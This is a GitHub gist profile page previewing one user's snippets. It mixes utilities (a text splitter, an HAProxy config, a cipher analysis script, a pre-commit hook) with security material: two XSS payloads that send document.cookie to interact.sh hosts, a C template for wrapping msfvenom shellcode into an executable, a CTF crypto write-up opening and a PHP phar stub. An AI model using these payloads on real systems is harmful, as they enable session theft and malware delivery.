Skip to content

Instantly share code, notes, and snippets.

View sudoaza's full-sized avatar

aza sudoaza

  • Buenos Aires, Argentina
View GitHub Profile
@sudoaza
sudoaza / split_text.py
Created January 30, 2024 01:38
Recursive text splitter, because Langchain's one sucks!
def split_text(text, chunk_size=500, separators=['\n\n', '.\n', ':\n', '\n', '. ', ', ', " ", ""]):
"""Split text into chunks of size less than chunk_size, using separators."""
chunks = []
current_separator_index = 0
for separator in separators:
current_separator_index += 1
if len(text) < chunk_size:
if len(text) > 0:
chunks.append(text)
@sudoaza
sudoaza / haproxy.cfg
Created December 23, 2023 19:40
Keep openai api key safe while sharing access
global
log stdout format raw local0
maxconn 2000
defaults
log global
mode http
option httplog
timeout connect 5000ms
timeout client 50000ms
@sudoaza
sudoaza / decipher.py
Created July 21, 2023 08:30
Substitution cipher analysis
import math
from nltk.util import ngrams
ciphertext = """['|']][]]}[[/]] [{}]{[]}['|'], ]]]]])([](_) {[9}])([['|'] ]]/[[[{}]{[]}['|'] ][['|'] ['|']{[]}]]([]{[[/]] ['|']])([ [{=][{[9}](_)]][}[]{ ])([](_)['|'] ['|'][{}][]{ [}/[}])([[[/]]['|'] [{}]{[]}]][}[[))[]{[}{][]{[[)) [{][]]}[{}][]{]][}[[/]]. [{[{}][]{[]{]][}[[/]], ]]]]])([](_)]][}[[/]] ]{]0]{]]][}00['|'] """
charset = list(set(ciphertext))
occurrences = {s: ciphertext.count(s) for s in charset}
print(sorted(occurrences.items(), key=lambda x: -x[1]))
@sudoaza
sudoaza / pre-commit
Last active February 14, 2023 13:50 — forked from edisonywh/pre-commit
Run Rubocop in Git's pre-commit hook
```
#!/bin/sh
echo "\nRunning rubocop...\n"
declare -a ERRORS=()
ERRORS=("$(rubocop $(git diff --cached --name-only | tr -s "\n" " ") | grep -e 'C:' -e 'E:')")
if [[ "$ERRORS" != "" ]]; then
echo "\n BEE-BOP! There are some things that you need to fix before commiting!\n"
@sudoaza
sudoaza / template_md
Last active December 20, 2022 03:32
Format markdown nicely into pdf with pandoc
---
title:
author:
date:
include-before:
- ...
toc: true
toc-depth: 2
toccolor: darkgray
numbersections: true
@sudoaza
sudoaza / hollow.c
Last active April 8, 2023 20:24
Shellcode to binary c
int main(int argc, char** argv) {
__asm__ (
"nop \n\t"
// );
// return 0;
// }
// python -c 'print(" \"nop \\n\\t\"\n"*2000)' >> hollow.c
// echo -e " );\n return 0;\n}" >> hollow.c
// gcc hollow.c -o hollow # gcc hollow.c -m32 -o hollow # i686-w64-mingw32-gcc -o hollow.exe hollow.c # x86_64-w64-mingw32-gcc -o hollow.exe hollow.c
// msfvenom ... > shellcode.asm
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", "http://testjs.c990xmp2vtc00006r7r0grwoq4eyyyyyb.interact.sh", false );
xmlHttp.send( document.cookie );
alert("Cookie eaten");
@sudoaza
sudoaza / badaes.py
Last active January 3, 2023 03:10
RITSEC CTF 2022 - Crypto - Bad AES
"""
# RITSEC CTF 2022 - Crypto - Bad AES
## Custom AES implementation where Mix Columns and Shift Rows steps switch places
A secret government agency uses a 16-letter passphrase that is encrypted
to create their passwords for their computers. An insider within the agency
told me that everyday employees input their passphrase into this secret
encryption scheme to receive their password for the day & the key used to
encrypt their passphrase is changed by the agency daily.
(This is so their passwords change every day without the employee having
// <script>
let collab = "c8xq3e52vtc0000hxsx0grq5tzyyyyyyb.interact.sh";
let xhr = new XMLHttpRequest();
xhr.open("POST", "http://" + collab);
xhr.send(btoa(document.cookie));
// </script>
<?php
$web = 'index.php';
if (in_array('phar', stream_get_wrappers()) && class_exists('Phar', 0)) {
Phar::interceptFileFuncs();
set_include_path('phar://' . __FILE__ . PATH_SEPARATOR . get_include_path());
Phar::webPhar(null, $web);
include 'phar://' . __FILE__ . '/' . Extract_Phar::START;
return;